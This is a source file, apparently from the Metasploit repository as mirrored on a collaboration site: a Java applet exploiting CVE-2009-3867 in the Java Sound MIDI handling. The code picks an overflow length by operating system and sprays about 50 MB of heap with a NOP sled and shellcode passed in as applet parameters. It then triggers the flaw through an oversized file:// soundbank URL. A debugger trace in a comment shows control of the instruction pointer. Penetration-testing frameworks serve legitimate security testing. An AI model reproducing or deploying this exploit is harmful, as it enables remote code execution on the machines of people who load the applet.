Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2009-3867/AppletX.java
Views: 11778
1import javax.sound.midi.*;2import java.io.*;3import java.nio.*;4import java.net.*;56/*7*8* comments from KF on Mac OS X:9*10Spray heap1112Invalid memory access of location 0000000f eip=909090901314Program received signal EXC_BAD_ACCESS, Could not access memory.15Reason: KERN_PROTECTION_FAILURE at address: 0x0000000f16[Switching to process 385 thread 0x15107]170x90909090 in _NSReadAttributedStringFromURLOrData ()18(gdb) bt19#0 0x90909090 in _NSReadAttributedStringFromURLOrData ()20#1 0x255a255a in ?? ()21*22*/2324public class AppletX extends java.applet.Applet25{26private IntBuffer [] mem;2728public void init()29{30String fName = "";3132fName = repeat('/', 303);3334// detect OS35String os = System.getProperty("os.name").toLowerCase();36if (os.indexOf( "win" ) >= 0)37fName = repeat('/', 302); // 1.6.0_u16,u1138// fName = repeat('/', 304); // 1.5.0_u21 (problems lurking)39else if (os.indexOf( "mac" ) >= 0)40//fName = repeat('/',1118); // OSX Snow Leopard41fName = repeat('/',1080); // OSX Leopard42else if (os.indexOf( "nix") >=0 || os.indexOf( "nux") >=0)43fName = repeat('/', 1337); // not tested44else45// not supported46return;4748// heap sprayed info starts at 0x25580000+12 but we need to be fairly ascii safe. 0x80 will not fly49// fName = "file://" + fName + "$\"$\"$\"$\"$\"$\""; // 1.5.x50fName = "file://" + fName + "Z%Z%Z%Z%Z%Z%";5152// trigger vuln53try54{55mem = spray(getParameter("sc"), getParameter("np"));56// System.out.println("Sprayed!");5758MidiSystem.getSoundbank(new URL(fName));5960// just in case, thread doesn't typically return from above :)61while (true)62{63Thread.sleep(10);64}65}66catch(Exception e)67{68System.out.println(e);69}70}717273public static String repeat(char c,int i)74{75String tst = "";7677for (int j = 0; j < i; j++)78{79tst = tst+c;80}81return tst;82}838485// based on:86// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java87public static short[] HexDecode(String s)88{89short[] data = new short[s.length()/2];9091for (int i = 0; i < s.length(); i += 2)92{93char c1 = s.charAt(i);94char c2 = s.charAt(i + 1);9596int comb = Character.digit(c1, 16) & 0xff;97comb <<= 4;98comb += Character.digit(c2, 16) & 0xff;99data[i/2] = (short)comb;100}101return data;102}103104public final IntBuffer [] spray(String sc, String np)105{106short [] sc_bytes = HexDecode(sc);107short [] np_bytes = HexDecode(np);108109return spray (sc_bytes, np_bytes);110}111112public final IntBuffer [] spray(short[] sc, short[] np)113{114int cnt = 50; // total 50 mb115int sz = 1024*1024; // 1 mb116int nops = (sz / 4) - (sc.length);117118IntBuffer [] ret = new IntBuffer[cnt];119120for (int bi = 0; bi < cnt; bi++)121{122IntBuffer ib = IntBuffer.allocate(sz / 4);123124for (int i = 0; i < nops; ++i)125ib.put((np[0]126| (np[1] << 8)127| (np[2] << 16)128| (np[3] << 24)));129// ib.put(0x90909090);130131for (int i = 0; i < sc.length; )132ib.put((sc[i++]133| (sc[i++] << 8)134| (sc[i++] << 16)135| (sc[i++] << 24)));136ret[bi] = ib;137}138return ret;139}140}141142143144